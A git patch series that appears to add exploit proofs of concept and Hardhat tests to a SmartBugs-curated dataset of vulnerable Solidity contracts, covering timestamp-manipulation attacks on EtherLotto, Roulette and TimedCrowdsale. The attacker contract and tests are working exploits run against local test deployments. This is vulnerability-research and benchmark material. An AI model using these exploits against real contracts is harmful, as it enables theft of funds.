From edd3352215cedcc095922e7c21d85f3139e0e130 Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 5 Sep 2024 09:45:27 +0200 Subject: [PATCH 1/5] add ether_lotto exploit --- .../time_manipulation/ether_lotto_attack.sol | 23 +++++++++ ...ottery.js => open_address_lottery_test.js} | 0 .../time_manipulation/ether_lotto_test.js | 49 +++++++++++++++++++ 3 files changed, 72 insertions(+) create mode 100644 smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol rename smartbugs-curated/0.4.x/test/other/{open_address_lottery.js => open_address_lottery_test.js} (100%) create mode 100644 smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js diff --git a/smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol b/smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol new file mode 100644 index 0000000..26ab7ba --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol @@ -0,0 +1,23 @@ +pragma solidity ^0.4.15; + +import "../dataset/time_manipulation/ether_lotto.sol"; + +contract EtherLottoAttacker { + EtherLotto public target; + + function EtherLottoAttacker(address _target) public { + target = EtherLotto(_target); + } + + function play() payable returns (bool) { + uint random = uint(sha3(block.timestamp)) % 2; + if (random == 0) { + target.play.value(msg.value)(); + return true; + } + msg.sender.transfer(msg.value); + return false; + } + + function() payable {} +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/test/other/open_address_lottery.js b/smartbugs-curated/0.4.x/test/other/open_address_lottery_test.js similarity index 100% rename from smartbugs-curated/0.4.x/test/other/open_address_lottery.js rename to smartbugs-curated/0.4.x/test/other/open_address_lottery_test.js diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js new file mode 100644 index 0000000..e10c4d3 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js @@ -0,0 +1,49 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe('attack time_manipulation/ether_lotto.sol', function () { + let owner, sig1; + async function deployContracts() { + [owner, sig1] = await ethers.getSigners(); + + const EtherLotto = await ethers.getContractFactory('contracts/dataset/time_manipulation/ether_lotto.sol:EtherLotto'); + const victim = await EtherLotto.connect(owner).deploy(); + + const EtherLottoAttacker = await ethers.getContractFactory('contracts/time_manipulation/ether_lotto_attack.sol:EtherLottoAttacker'); + const attacker = await EtherLottoAttacker.deploy(victim.target); + await attacker.waitForDeployment(); + + return {victim, attacker}; + } + + + it('exploit time manipulation vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + + const victimBalanceBefore = await ethers.provider.getBalance(victim.target); + expect(victimBalanceBefore).to.equal(0); + + const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target); + expect(attackerBalanceBefore).to.equal(0); + + const sigBalance = await ethers.provider.getBalance(sig1.address); + const tx = await victim.connect(sig1).play({value: 10}); + const receipt = await tx.wait(); + const sigBalanceAfter = await ethers.provider.getBalance(sig1.address); + const net = sigBalanceAfter - sigBalance + receipt.gasUsed * receipt.gasPrice; + + let attackerBalance = attackerBalanceBefore; + + while (attackerBalance == 0) { + await attacker.play({value: 10}); + attackerBalance = await ethers.provider.getBalance(attacker.target); + } + if (net == -10n) { + expect(attackerBalance).to.equal(19); + } + else { + expect(attackerBalance).to.equal(9); + } + + }); + }); \ No newline at end of file From 7e8a473982959d0f1bb308c05fbbfa301fbf876d Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 5 Sep 2024 10:25:57 +0200 Subject: [PATCH 2/5] add roulette exploit --- .../test/time_manipulation/roulette_test.js | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js new file mode 100644 index 0000000..ed419d0 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js @@ -0,0 +1,43 @@ +const { loadFixture, time } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe('attack time_manipulation/roulette.sol', function () { + let owner, sig1, amount; + async function deployContracts() { + [owner, sig1] = await ethers.getSigners(); + + amount = ethers.parseEther("10"); + + const EtherLotto = await ethers.getContractFactory('contracts/dataset/time_manipulation/roulette.sol:Roulette'); + const victim = await EtherLotto.connect(owner).deploy({value: amount}); + + return {victim}; + } + + + it('exploit time manipulation vulnerability', async function () { + const {victim} = await loadFixture(deployContracts); + const victimBalanceBefore = await ethers.provider.getBalance(victim.target); + expect(victimBalanceBefore).to.equal(amount); + + const sig1BalanceBefore = await ethers.provider.getBalance(sig1.address); + + const blockBefore = await ethers.provider.getBlock(); + const timestampBefore = blockBefore.timestamp; + + + const next = timestampBefore + 15 -(timestampBefore % 15); + + await time.setNextBlockTimestamp(next); + + const tx = await sig1.sendTransaction({ + to: victim.target, + value: amount + }); + + const receipt = await tx.wait(); + + const sig1Balance = await ethers.provider.getBalance(sig1.address); + expect(sig1Balance).to.equal(sig1BalanceBefore - receipt.gasUsed * receipt.gasPrice + amount); + }); + }); \ No newline at end of file From 0cab662408fc5e2354804a876724eb067a5f696f Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 5 Sep 2024 10:49:33 +0200 Subject: [PATCH 3/5] add timed_crowdsale exploit --- smartbugs-curated/0.4.x/hardhat.config.js | 1 + .../test/time_manipulation/roulette_test.js | 4 +-- .../time_manipulation/timed_crowdsale_test.js | 28 +++++++++++++++++++ 3 files changed, 31 insertions(+), 2 deletions(-) create mode 100644 smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js diff --git a/smartbugs-curated/0.4.x/hardhat.config.js b/smartbugs-curated/0.4.x/hardhat.config.js index b7f1a62..90c3bd4 100644 --- a/smartbugs-curated/0.4.x/hardhat.config.js +++ b/smartbugs-curated/0.4.x/hardhat.config.js @@ -16,6 +16,7 @@ module.exports = { }, networks: { hardhat: { + initialDate: "2018-12-31 11:59:00 PM", hardfork: "shanghai", } } diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js index ed419d0..e1ed145 100644 --- a/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js +++ b/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js @@ -8,8 +8,8 @@ describe('attack time_manipulation/roulette.sol', function () { amount = ethers.parseEther("10"); - const EtherLotto = await ethers.getContractFactory('contracts/dataset/time_manipulation/roulette.sol:Roulette'); - const victim = await EtherLotto.connect(owner).deploy({value: amount}); + const Roulette = await ethers.getContractFactory('contracts/dataset/time_manipulation/roulette.sol:Roulette'); + const victim = await Roulette.connect(owner).deploy({value: amount}); return {victim}; } diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js new file mode 100644 index 0000000..1420afe --- /dev/null +++ b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js @@ -0,0 +1,28 @@ +const { loadFixture, time } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe('attack time_manipulation/timed_crowdsale.sol', function () { + async function deployContracts() { + const TimedCrowdsale = await ethers.getContractFactory('contracts/dataset/time_manipulation/timed_crowdsale.sol:TimedCrowdsale'); + const victim = await TimedCrowdsale.deploy(); + + return {victim}; + } + + + it('exploit time manipulation vulnerability', async function () { + const {victim} = await loadFixture(deployContracts); + + const saleEndTimestamp = 1546300800; + + // // Fast forward time to January 1, 2019 (just after sale end) + const timeToIncrease = saleEndTimestamp - (await ethers.provider.getBlock('latest')).timestamp + 1; + + await ethers.provider.send("evm_increaseTime", [timeToIncrease]); // increase time past the sale end + await ethers.provider.send("evm_mine"); // mine a new block + + // // The sale should now be finished due to the time manipulation + const saleFinished = await victim.isSaleFinished(); + expect(saleFinished).to.be.true; + }); + }); \ No newline at end of file From 30aeea91a1a73b00c1db32914680be25f0cdeb6f Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 5 Sep 2024 11:07:54 +0200 Subject: [PATCH 4/5] fix timed_crowdsale exploit --- .../0.4.x/test/time_manipulation/timed_crowdsale_test.js | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js index 1420afe..4a9e497 100644 --- a/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js +++ b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js @@ -1,4 +1,4 @@ -const { loadFixture, time } = require('@nomicfoundation/hardhat-network-helpers'); +const { loadFixture, time, mine } = require('@nomicfoundation/hardhat-network-helpers'); const { expect } = require('chai'); describe('attack time_manipulation/timed_crowdsale.sol', function () { @@ -16,10 +16,8 @@ describe('attack time_manipulation/timed_crowdsale.sol', function () { const saleEndTimestamp = 1546300800; // // Fast forward time to January 1, 2019 (just after sale end) - const timeToIncrease = saleEndTimestamp - (await ethers.provider.getBlock('latest')).timestamp + 1; - - await ethers.provider.send("evm_increaseTime", [timeToIncrease]); // increase time past the sale end - await ethers.provider.send("evm_mine"); // mine a new block + await time.setNextBlockTimestamp(saleEndTimestamp); + await mine(1); // // The sale should now be finished due to the time manipulation const saleFinished = await victim.isSaleFinished(); From f510e61ba0dafb52a79a2a39647c7fd34b836760 Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 5 Sep 2024 11:18:31 +0200 Subject: [PATCH 5/5] reset blockchain state before time manipulation --- .../0.4.x/test/time_manipulation/timed_crowdsale_test.js | 1 + 1 file changed, 1 insertion(+) diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js index 4a9e497..a01fd38 100644 --- a/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js +++ b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js @@ -11,6 +11,7 @@ describe('attack time_manipulation/timed_crowdsale.sol', function () { it('exploit time manipulation vulnerability', async function () { + await hre.network.provider.send("hardhat_reset"); const {victim} = await loadFixture(deployContracts); const saleEndTimestamp = 1546300800;